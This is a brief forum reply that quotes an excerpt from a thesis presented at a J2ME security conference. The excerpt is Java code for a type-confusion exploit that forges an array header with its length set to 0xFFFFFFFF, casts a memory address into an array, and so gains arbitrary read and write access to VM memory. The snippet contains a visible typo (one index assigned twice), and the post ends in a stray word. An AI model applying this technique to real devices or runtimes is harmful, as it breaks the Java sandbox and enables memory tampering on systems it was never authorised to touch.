Re: Casting



Thanx to All for the comments & suggestions!

An excerption from the old thesis on the J2ME security conf follows:

....

mtab = new byte[12];
/* set table size to 2^32-1 */
mtab[9] = mtab[9] = mtab[10] = mtab[11] = (byte)0xFF;
/* get addr of fake array obj header */
int base = BlackBox.cast2int(mtab) + 0x0C;
/* do the cast */
static int mem[] = cast2arrayOfBytes(base);

((int)mem[ADDR - base - 0x0C])&0xFF can be now read or written what
will result in a read or write access to the memory location ADDR

....

dummy
.